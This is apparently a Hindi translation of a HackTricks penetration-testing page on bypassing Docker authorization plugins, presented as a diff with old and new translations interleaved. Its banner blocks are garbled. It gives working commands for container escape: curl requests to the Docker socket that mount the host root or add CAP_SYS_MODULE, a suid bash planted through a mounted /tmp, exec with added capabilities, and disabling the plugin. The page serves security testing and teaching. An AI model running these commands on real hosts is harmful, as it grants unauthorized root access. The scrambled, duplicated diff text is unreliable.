GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें ट्विटर पर फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,69 +1,88 @@
<details>
{% hnnt styte=" acceas" %}
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
Learn & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<dotsilp>
HackTricks का समर्थन करने के अन्य तरीके:
<oummpr>SupportHackTricks</smmay>
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** को** **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
*Chek th [**subsrippangithub.cm/sorsarlosp!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
**Docker** की आउट-ऑफ-द-बॉक्स **अधिकारीकरण** मॉडल **सब कुछ या कुछ नहीं** है। किसी भी उपयोगकर्ता को जो भी अनुमति है डॉकर डेमन तक पहुंचने की, वह किसी भी डॉकर क्लाइंट कमांड चला सकता है। यही बात कॉलर्स के लिए सही है जो इंजन API का उपयोग करके डेमन से संपर्क करते हैं। यदि आपको **अधिक पहुंच नियंत्रण** की आवश्यकता है, तो आप **अधिकारीकरण प्लगइन** बना सकते हैं और उन्हें अपने डॉकर डेमन कॉन्फ़िगरेशन में जोड़ सकते हैं। अधिकारीकरण प्लगइन का उपयोग करके, एक डॉकर प्रशासक डॉकर डेमन तक पहुंच को प्रबंधित करने के लिए विस्तार से पहुंच नीतियों को कॉन्फ़िगर कर सकता है।
**Docker** क**authorization** मॉडल **सभी या कुछ नहीं** है। किसी भी उपयोगकर्ता को जो Docker daemon तक पहुँचने की अनुमति है, वह **किसी भी** Docker क्लाइंट **कमांड** को **चलाने** की अनुमति है। यह वही बात है जो Docker के Engine API का उपयोग करके daemon से संपर्क करने वाले कॉलर्स के लिए भी सही है। यदि आपको **अधिक पहुँच नियंत्रण** की आवश्यकता है, तो आप **authorization plugins** बना सकते हैं और उन्हें अपने Docker daemon कॉन्फ़िगरेशन में जोड़ सकते हैं। एक authorization plugin का उपयोग करके, एक Docker प्रशासक **Docker daemon** तक पहुँच प्रबंधन के लिए **सूक्ष्म पहुँच** नीतियों को **कॉन्फ़िगर** कर सकता है।
# मूल वास्तुकला
# बुनियादी आर्किटेक्चर
डॉकर ऑथ प्लगइन बाहरी प्लगइन हैं जिन्हें आप डॉकर डेमन को अनुरोधित क्रियाओं को अनुमति देने/मना करने के लिए उपयोग कर सकते हैं जो उपयोगकर्ता ने अनुरोध किया है और जिस क्रिया को अनुरोध किया गया है पर निर्भर करता है
Docker Auth plugins **बाहरी** **plugins** हैं जिन्हें आप **Docker Daemon** को अनुरोध किए गए **क्रियाओं** को **अनुमति/अस्वीकृति** देने के लिए उपयोग कर सकते हैं, **उपयोगकर्ता** के आधार पर जिसने इसे अनुरोध किया और **अनुरोधित क्रिया**
**[निम्नलिखित जानकारी दस्तावेज़ से है](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
**[निम्नलिखित जानकारी दस्तावेज़ों से है](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
जब डॉकर डेमन के माध्यम से CLI या इंजन API के माध्यम से एक **HTTP अनुरोध** किया जाता है, तो **प्रमाणीकरण उपप्रणाली** अनुरोध को स्थापित **प्रमाणीकरण प्लगइन**(s) को पारित करती है। अनुरोध में उपयोगकर्ता (कॉलर) और कमांड संदर्भ होता है। **प्लगइन** को यह निर्णय लेने के लिए जिम्मेदार होता है कि क्या अनुरोध को **अनुमति देने या नकारने** की जाए।
जब एक **HTTP** **अनुरोध** Docker **daemon** को CLI के माध्यम से या Engine API के माध्यम से किया जाता है, तो **authentication** **subsystem** अनुरोध को स्थापित **authentication** **plugin**(s) को **पारित** करता है। अनुरोध में उपयोगकर्ता (कॉलर) और कमांड संदर्भ होता है। **plugin** यह तय करने के लिए जिम्मेदार है कि अनुरोध को **अनुमति** दी जाए या **अस्वीकृत** किया जाए।
नीचे दिए गए क्रमचय आलोकन चित्रों में अनुमति देने और नकारने की अधिकारीकरण फ्लो दिखाया गया है:
नीचे दिए गए अनुक्रम आरेख एक अनुमति और अस्वीकृति authorization प्रवाह को दर्शाते हैं:
![अधिकारीकरण अनुमति देने का फ्लो](https://docs.docker.com/engine/extend/images/authz\_allow.png)
![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz\_allow.png)
![अधिकारीकरण नकारने का फ्लो](https://docs.docker.com/engine/extend/images/authz\_deny.png)
![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz\_deny.png)
प्लगइन को भेजे गए प्रत्येक अनुरोध में **प्रमाणित उपयोगकर्ता, HTTP हेडर्स, और अनुरोध/प्रतिक्रिया शरीर** शामिल होते हैं। केवल **उपयोगकर्ता नाम** और **प्रमाणीकरण विधि** प्लगइन को पारित किए जाते हैं। सबसे महत्वपूर्ण बात यह है कि **कोई भी** उपयोगकर्ता **क्रेडेंशियल्स** या टोकन पारित नहीं किए जाते हैं। अंत में, **सभी अनुरोध/प्रतिक्रिया शरीर** केवल उन अनुरोध/प्रतिक्रिया शरीरों को भेजे जाते हैं जिनमे`Content-Type` या तो `text/*` है या `application/json` है।
प्रत्येक अनुरोध जो plugin को भेजा जाता है, **प्रमाणित उपयोगकर्ता, HTTP हेडर, और अनुरोध/प्रतिक्रिया शरीर** को शामिल करता है। केवल **उपयोगकर्ता नाम** और **प्रमाणन विधि** जो उपयोग की गई है, plugin को भेजी जाती है। सबसे महत्वपूर्ण बात, **कोई भी** उपयोगकर्ता **क्रेडेंशियल** या टोकन नहीं भेजे जाते हैं। अंत में, **सभी अनुरोध/प्रतिक्रिया शरीर** authorization plugin को नहीं भेजे जाते हैं। केवल वे अनुरोध/प्रतिक्रिया शरीर जहा`Content-Type` या तो `text/*` या `application/json` है, भेजे जाते हैं
जिन कमांडों में HTTP कनेक्शन को हाइजैक कर सकते हैं (`HTTP Upgrade`) जैसे कि `exec`, उनके लिए अधिकारीकरण प्लगइन को केवल प्रारंभिक HTTP अनुरोधों के लिए ही बुलाया जाता है। एक बार प्लगइन कमांड को मंजूर कर देता है, तो अधिकारीकरण को शेष फ्लो के लिए लागू नहीं किया जाता है। विशेष रूप से, स्ट्रीमिंग डेटा को अधिकारीकरण प्लगइन्स को पारित नहीं किया जाता है। `logs` और `events` जैसे चंक्ड HTTP प्रतिक्रिया वाले कमांडों के लिए केवल HTTP अनुरोध प्लगइन्स को भेजा जाता है।
उन कमांड के लिए जो HTTP कनेक्शन को संभावित रूप से हाईजैक कर सकते हैं (`HTTP Upgrade`), जैसे `exec`, authorization plugin केवल प्रारंभिक HTTP अनुरोधों के लिए ही कॉल किया जाता है। एक बार जब plugin कमांड को मंजूरी दे देता है, तो शेष प्रवाह पर authorization लागू नहीं होता है। विशेष रूप से, स्ट्रीमिंग डेटा authorization plugins को नहीं भेजा जाता है। उन कमांड के लिए जो चंक्ड HTTP प्रतिक्रिया लौटाते हैं, जैसे `logs` और `events`, केवल HTTP अनुरोध authorization plugins को भेजा जाता है।
अनुरोध/प्रतिक्रिया प्रसंस्करण के दौरान, कुछ अधिकारीकरण फ्लो को डॉकर डेमन के लिए अतिरिक्त क्वेरी करने की आवश्यकता हो सकती है। ऐसे फ्लो को पूरा करने के लिए, प्लगइन एक सामान्य उपयोगकर्ता की तरह डेमन API को कॉल कर सकते हैं। इन अतिरिक्त क्वेरियों को सक्षम करने के लिए, प्लगइन को एक प्रशासक को सही प्रमाणीकरण और सुरक्षा नीतियों को कॉन्फ़िगर करने के लिए साधन प्रदान करना चाहिए।
अनुरोध/प्रतिक्रिया प्रसंस्करण के दौरान, कुछ authorization प्रवाह को Docker daemon के लिए अतिरिक्त प्रश्न करने की आवश्यकता हो सकती है। ऐसे प्रवाह को पूरा करने के लिए, plugins नियमित उपयोगकर्ता के समान daemon API को कॉल कर सकते हैं। इन अतिरिक्त प्रश्नों को सक्षम करने के लिए, plugin को एक प्रशासक को उचित प्रमाणन और सुरक्षा नीतियों को कॉन्फ़िगर करने के लिए साधन प्रदान करना चाहिए।
## कई प्लगइन
## कई Plugins
आपको अपने प्लगइन को डॉकर डेमन **स्टार्टअप** के हिस्से के रूप में **रजिस्टर** करने की जिम्मेदारी है। आप **कई प्लगइन स्थापित कर सकते हैं और उन्हें एक साथ जोड़ सकते हैं**। यह श्रृंखला क्रमबद्ध हो सकती है। प्रत्येक अनुरोध डेमन के माध्यम से श्रृंखला में क्रमबद्ध रूप से पारित होता है। केवल जब **सभी प्लगइन्स संसाधन के लिए अनुमति देते हैं**, तब ही पहुंच दी जाती है।
आप **plugin** को Docker daemon **स्टार्टअप** के हिस्से के रूप में **पंजीकृत** करने के लिए जिम्मेदार हैं। आप **कई plugins स्थापित कर सकते हैं और उन्हें एक साथ जोड़ सकते हैं**। यह श्रृंखला क्रमबद्ध हो सकती है। daemon के लिए प्रत्येक अनुरोध श्रृंखला के माध्यम से क्रम में पारित होता है। केवल जब **सभी plugins संसाधन तक पहुँच प्रदान करते हैं**, तब पहुँच दी जाती है।
# प्लगइन उदाहरण
# Plugin उदाहरण
## Twistlock AuthZ Broker
प्लगइन [**authz**](https://github.com/twistlock/authz) आपको एक सरल **JSON** फ़ाइल बनाने की अनुमति देता है जिसे प्लगइन अनुरोधों की अधिकृति के लिए पढ़ने के लिए उपयोग करेगा। इसलिए, यह आपको बहुत आसानी से नियंत्रित करने का अवसर देता है कि प्रत्येक उपयोगकर्ता किस API एंडपॉइंट तक पहुंच सकता है
Plugin [**authz**](https://github.com/twistlock/authz) आपको एक सरल **JSON** फ़ाइल बनाने की अनुमति देता है जिसे **plugin** अनुरोधों को अधिकृत करने के लिए **पढ़ेगा**। इसलिए, यह आपको बहुत आसानी से नियंत्रित करने का अवसर देता है कि कौन से API अंत बिंदु प्रत्येक उपयोगकर्ता तक पहुँच सकते हैं
यह एक उदाहरण है जो एलिस और बॉब को नए कंटेनर बना सकते हैं: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
यह एक उदाहरण है जो एलीस और बॉब को नए कंटेनर बनाने की अनुमति देगा: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
पृष्ठ [route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go) में आप अनुरोधित URL और क्रिया के बीच संबंध पा सकते हैं। पृष्ठ [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) में आप क्रिया के नाम और क्रिया के बीच संबंध पा सकते हैं
पृष्ठ [route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go) में आप अनुरोधित URL और क्रिया के बीच संबंध पा सकते हैं। पृष्ठ [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) में आप क्रिया नाम और क्रिया के बीच संबंध पा सकते हैं
## सरल प्लगइन ट्यूटोरियल
## सरल Plugin ट्यूटोरियल
आप एक **सरल समझने योग्य प्लगइन** जिसमें स्थापना और डीबगिंग के बारे में विस्तृत ज
आप यहाँ एक **समझने में आसान plugin** पा सकते हैं जिसमें स्थापना और डिबगिंग के बारे में विस्तृत जानकारी है: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
समझने के लिए `README` और `plugin.go` कोड पढ़ें कि यह कैसे काम कर रहा है।
# Docker Auth Plugin Bypass
## पहुँच की गणना करें
जांचने के लिए मुख्य बातें हैं **कौन से अंत बिंदु अनुमत हैं** और **कौन से HostConfig के मान अनुमत हैं**
इस गणना को करने के लिए आप **उपकरण** [**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)** का उपयोग कर सकते हैं।**
## अस्वीकृत `run --privileged`
### न्यूनतम विशेषाधिकार
```bash
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
```
### कंटेनर चलाना और फिर एक विशेषाधिकार सत्र प्राप्त करना
### Running a container and then getting a privileged session
इस मामले में सिस्टम प्रशासक ने उपयोगकर्ताओं को वॉल्यूम माउंट और `--privileged` ध्वज के साथ कंटेनर चलाने या कंटेनर को कोई अतिरिक्त क्षमता न देने की अनुमति नहीं दी:
इस मामले में sysadmin ने **उपयोगकर्ताओं को वॉल्यूम माउंट करने और `--privileged` फ्लैग के साथ कंटेनर चलाने** या कंटेनर को कोई अतिरिक्त क्षमता देने की अनुमति नहीं दी:
```bash
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
```
हालांकि, एक उपयोगकर्ता **चल रहे कंटेनर के अंदर एक शैल बना सकता है और उसे अतिरिक्त विशेषाधिकार दे सकता है**:
हालांकि, एक उपयोगकर्ता **चल रहे कंटेनर के अंदर एक शल बना सकता है और उसे अतिरिक्त विशेषाधिकार दे सकता है**:
```bash
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
@ -75,11 +94,11 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
```
अब, उपयोगकर्ता किसी भी [**पहले चर्चित तकनीकों**](./#privileged-flag) का उपयोग करके कंटेनर से बाहर निकल सकता है और मेज़बान में **विशेषाधिकारों को बढ़ा सकता है**
अब, उपयोगकर्ता किसी भी [**पहले चर्चा की गई तकनीकों**](./#privileged-flag) का उपयोग करके कंटेनर से बाहर निकल सकता है और **अधिकार बढ़ा सकता है** होस्ट के अंदर
## माउंट करने योग्य फ़ोल्डर
## लिखने योग्य फ़ोल्डर माउंट करें
इस मामले में सिस्टम प्रशासक ने उपयोगकर्ताओं को कंटेनर को `--privileged` फ़्लैग के साथ चलाने से रोक दिया या कंटेनर को कोई अतिरिक्त क्षमता देने की अनुमति दी, और उसने केवल `/tmp` फ़ोल्डर को माउंट करने की अनुमति दी:
इस मामले में, सिस्टम प्रशासक ने **उपयोगकर्ताओं को `--privileged` ध्वज के साथ कंटेनर चलाने की अनुमति नहीं दी** या कंटेनर को कोई अतिरिक्त क्षमता देने की अनुमति नहीं दी, और उसने केवल `/tmp` फ़ोल्डर को माउंट करने की अनुमति दी:
```bash
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
@ -89,25 +108,25 @@ host> /tmp/bash
-p #This will give you a shell as root
```
{% hint style="info" %}
ध्यान दें कि शायद आप `/tmp` फ़ोल्डर को माउंट नहीं कर सकते हैं लेकिन आप **एक अलग लिखने योग्य फ़ोल्डर** माउंट कर सकते हैं। आप लिखने योग्य निर्देशिकाएँ खोज सकते हैं इस्तेमाल करके: `find / -writable -type d 2>/dev/null`
ध्यान दें कि शायद आप `/tmp` फ़ोल्डर को माउंट नहीं कर सकते लेकिन आप एक **विभिन्न लिखने योग्य फ़ोल्डर** को माउंट कर सकते हैं। आप लिखने योग्य निर्देशिकाएँ खोजने के लिए: `find / -writable -type d 2>/dev/null` का उपयोग कर सकते हैं।
**ध्यान दें कि एक लिनक्स मशीन में सभी निर्देशिकाएँ suid बिट का समर्थन नहीं करेंगी!** सुयोग्यता बिट का समर्थन करने वाली निर्देशिकाओं को जांचने के लिए `mount | grep -v "nosuid"` चलाएं। उदाहरण के लिए सामान्यत: `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` और `/var/lib/lxcfs` suid बिट का समर्थन नहीं करते हैं।
**ध्यान दें कि सभी निर्देशिकाएँ एक लिनक्स मशीन में suid बिट का समर्थन नहीं करेंगी!** यह जांचने के लिए कि कौन सी निर्देशिकाएँ suid बिट का समर्थन करती हैं, `mount | grep -v "nosuid"` चलाएँ। उदाहरण के लिए आमतौर पर `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` और `/var/lib/lxcfs` suid बिट का समर्थन नहीं करते हैं।
ध्यान दें कि यदि आप **`/etc` को माउंट** कर सकते हैं या किसी अन्य फ़ोल्डर को **कॉन्फ़िगरेशन फ़ाइलें शामिल** करते हैं, तो आप उन्हें डॉकर कंटेनर में रूट के रूप में बदल सकते हैं ताकि आप उन्हें **होस्ट में दुरुपयोग** करने और विशेषाधिकारों को उन्नत करने के लिए उपयोग कर सकें (शायद `/etc/shadow` को संशोधित करके)
यह भी ध्यान दें कि यदि आप **`/etc`** या किसी अन्य फ़ोल्डर को **माउंट कर सकते हैं जिसमें कॉन्फ़िगरेशन फ़ाइलें हैं**, तो आप उन्हें डॉकर कंटेनर से रूट के रूप में बदल सकते हैं ताकि आप **होस्ट में उनका दुरुपयोग कर सकें** और विशेषाधिकार बढ़ा सकें (शायद `/etc/shadow` को संशोधित करके)
{% endhint %}
## Unchecked API Endpoint
## अनियंत्रित API एंडपॉइंट
इस प्लगइन को कॉन्फ़िगर करने वाले सिसएडमिन की जिम्मेदारी यह होगी कि वह नियंत्रित करे कि प्रत्येक उपयोगकर्ता किस क्रिया को किस विशेषाधिकारों के साथ कर सकता है। इसलिए, यदि एडमिन एंडपॉइंट्स और गुणों के साथ **काले सूची** का उपयोग करता है तो वह शायद कुछ ऐसे भूल जाएंगे जो एक हमलावर को **विशेषाधिकारों को उन्नत करने** की अनुमति दें
इस प्लगइन को कॉन्फ़िगर करने वाले सिस्टम एडमिन की जिम्मेदारी होगी कि वह यह नियंत्रित करे कि प्रत्येक उपयोगकर्ता कौन सी क्रियाएँ और किस विशेषाधिकार के साथ कर सकता है। इसलिए, यदि व्यवस्थापक एंडपॉइंट्स और विशेषताओं के साथ **ब्लैकलिस्ट** दृष्टिकोण अपनाता है, तो वह **कुछ को भूल सकता है** जो हमलावर को **विशेषाधिकार बढ़ाने** की अनुमति दे सकता है
आप डॉकर API की जांच कर सकते हैं [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
## Unchecked JSON Structure
## अनियंत्रित JSON संरचना
### रूट में बाइंड
### रूट में बाइंड्स
संभना है कि जब सिसएडमिन ने डॉकर फ़ायरवॉल कॉन्फ़िगर किया तो उसने [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) के "**Binds**" जैसे कुछ महत्वपूर्ण पैरामीटर के बारे में **भूल जाने** की संभावना है।\
निम्नलिखित उदाहरण में इस गलत कॉन्फ़िगरेशन का दुरुपयोग करना संभव है ताकि एक कंटेनर बनाया और चलाया जा सके जो होस्ट का रूट (/) फ़ोल्डर माउंट करता है:
यह संभव है कि जब सिस्टम एडमिन ने डॉकर फ़ायरवॉल कॉन्फ़िगर किया, तो उसने [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) के कुछ महत्वपूर्ण पैरामीटर जैसे "**Binds**" के बारे में **भूल गया**।\
निम्नलिखित उदाहरण में इस गलत कॉन्फ़िगरेशन का दुरुपयोग करके एक कंटेनर बनाना और चलाना संभव है जो होस्ट के रूट (/) फ़ोल्डर को माउंट करता है:
```bash
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
@ -118,30 +137,30 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
```
{% hint style="warning" %}
ध्यान दें कि इस उदाहरण में हम **`Binds`** पैरामीटर का उपय JSON में एक रूट स्तर कुंजी के रूप में कर रहे हैं लेकिन API में यह **`HostConfig`** कुंजी के तहत प्रकट होता है।
ध्यान दें कि इस उदाहरण में हम **`Binds`** पैरामीटर को JSON में एक रूट स्तर की कुंजी के रूप में उपयोग कर रहे हैं लेकिन API में यह **`HostConfig`** कुंजी के तहत दिखाई देता है।
{% endhint %}
### HostConfig में Binds
**रूट में Binds** के साथ समान निर्देशिका का पालन करें और इस **अनुरोध** को Docker API को करें:
**Binds in root** के साथ वही निर्देश का पालन करें और Docker API पर यह **request** करें:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
```
### रूट में माउंट
### Mounts in root
**रूट में बाइंड्स** के साथ एक ही निर्देशिका का पालन करें और इस **अनुरोध** को Docker API में करें:
**Binds in root** के साथ वही निर्देश का पालन करें, इस **request** को Docker API पर करें:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
```
### HostConfig में माउंट
### Mounts in HostConfig
डॉकर API को इस **अनुरोध** को करते समय **रूट में बाइंड** के साथ एक ही निर्देश का पालन करें:
**रूट में बाइंड्स** के साथ वही निर्देश का पालन करें, इस **अनुरोध** को Docker API पर करें:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
```
## जाँच न किया गया JSON विशेषता
## Unchecked JSON Attribute
संभना है कि जब सिस्टम प्रशासक ने डॉकर फ़ायरवॉल कॉन्फ़िगर किया तो उन्होंने [API](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) के "**HostConfig**" के अंदर "**Capabilities**" जैसी किसी महत्वपूर्ण विशेषता को **भूल गए** हों। निम्नलिखित उदाहरण में इस गलत कॉन्फ़िगरेशन का दुरुपयोग करके **SYS\_MODULE** क्षमता के साथ एक कंटेनर बनाना और चलाना संभव है:
यह संभव है कि जब सिस्टम प्रशासक ने डॉकर फ़ायरवॉल को कॉन्फ़िगर किया, तो उसने [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) के "**Capabilities**" जैसे किसी पैरामीटर के महत्वपूर्ण गुण के बारे में **भूल गया**। निम्नलिखित उदाहरण में, इस गलत कॉन्फ़िगरेशन का दुरुपयोग करके **SYS\_MODULE** क्षमता के साथ एक कंटेनर बनाने और चलाने की संभावना है:
```bash
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
@ -152,12 +171,12 @@ capsh --print
#You can abuse the SYS_MODULE capability
```
{% hint style="info" %}
**`HostConfig`** वह कुंजी है जिसमें आम तौर पर उन **रोचक** **विशेषाधिकार** होते हैं जिनसे कंटेनर से बाहर निकला जा सकता है। हालांकि, जैसा कि हम पहले ही चर्चा कर चुके हैं, ध्यान दें कि इसके बाहर Binds का उपयोग भी काम करता है और आपको प्रतिबंधों को छलकरने की अनुमति देता है।
**`HostConfig`** वह कुंजी है जो आमतौर पर कंटेनर से बाहर निकलने के लिए **दिलचस्प** **अधिकारों** को शामिल करती है। हालाँकि, जैसा कि हमने पहले चर्चा की है, ध्यान दें कि इसके बाहर Binds का उपयोग करना भी काम करता है और आपको प्रतिबंधों को बायपास करने की अनुमति दे सकता है।
{% endhint %}
## प्लगइन को निषेधित करना
## प्लगइन को अक्षम करना
यदि **सिस्टम प्रशासक** ने **भूलकर** **प्रतिबंध** लगाने की क्षमता को **निषेधित** करने की क्षमता को **भूल गए** है, तो आप इसका पूरी तरह से निषेधित करने का लाभ उठा सकते हैं!
यदि **sysadmin** ने **प्लगइन** को **अक्षम** करने की क्षमता को **रोकने** के लिए **भूल** किया है, तो आप इसका लाभ उठाकर इसे पूरी तरह से अक्षम कर सकते हैं!
```bash
docker plugin list #Enumerate plugins
@ -169,27 +188,31 @@ docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot
```
ध्यान दें कि **उच्चतम स्तर पर चढ़ाई के बाद प्लगइन को पुनः सक्रिय करें**, अन्यथा **डॉकर सेवा को पुनः आरंभ करने से काम नहीं चलेगा**!
याद रखें कि **उन्नति के बाद प्लगइन को फिर से सक्षम करें**, अन्यथा **डॉकर सेवा का पुनरारंभ काम नहीं करेगा**!
## ऑथ प्लगइन बायपास व्रिटअप्स
## ऑथ प्लगइन बायपास लेख
* [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)
## संदर्भ
{% hnt stye="acceas" %}
AWS हैकिंग का अभ्यास:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
सीखें और GCP में अभ्यास<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
* [https://docs.docker.com/engine/extend/plugins\_authorization/](https://docs.docker.com/engine/extend/plugins\_authorization/)
<dtil>
<ummr>SupportHackTricks</smmay>
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
